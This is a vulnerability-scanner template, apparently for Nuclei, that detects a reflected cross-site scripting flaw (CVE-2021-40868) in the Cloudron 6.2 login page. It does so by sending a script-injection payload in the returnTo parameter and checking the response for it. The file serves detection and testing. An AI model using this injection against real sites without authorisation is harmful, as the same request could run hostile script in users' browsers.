50 lines
1.5 KiB
YAML
50 lines
1.5 KiB
YAML
id: CVE-2021-40868
|
|
|
|
info:
|
|
name: Cloudron 6.2 Cross-Site Scripting
|
|
author: daffainfo
|
|
severity: medium
|
|
description: In Cloudron 6.2, the returnTo parameter on the login page is vulnerable to cross-site scripting.
|
|
remediation: Upgrade to Cloudron 6.3 or higher.
|
|
reference:
|
|
- https://packetstormsecurity.com/files/164255/Cloudron-6.2-Cross-Site-Scripting.html
|
|
- https://nvd.nist.gov/vuln/detail/CVE-2021-40868
|
|
- https://packetstormsecurity.com/files/164183/Cloudron-6.2-Cross-Site-Scripting.html
|
|
- https://www.cloudron.io/
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2021-40868
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00267
|
|
epss-percentile: 0.64061
|
|
cpe: cpe:2.3:a:cloudron:cloudron:6.2:*:*:*:*:*:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: cloudron
|
|
product: cloudron
|
|
tags: cve,cve2021,xss,cloudron,packetstorm
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/login.html?returnTo=%3C%2Fscript%3E%3Cscript%3Ealert%28document.domain%29%3C%2Fscript%3E'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '</script><script>alert(document.domain)</script>'
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a00463044022020f72816741457699fb99248d74504334a5fa9dbe28309cf6287d8a08f757b470220447f39a2cb4c1a6dec2222b4afd0ab5c58817542ba1b580c5487f27af6786262:922c64590222798bb761d5b6d8e72950
|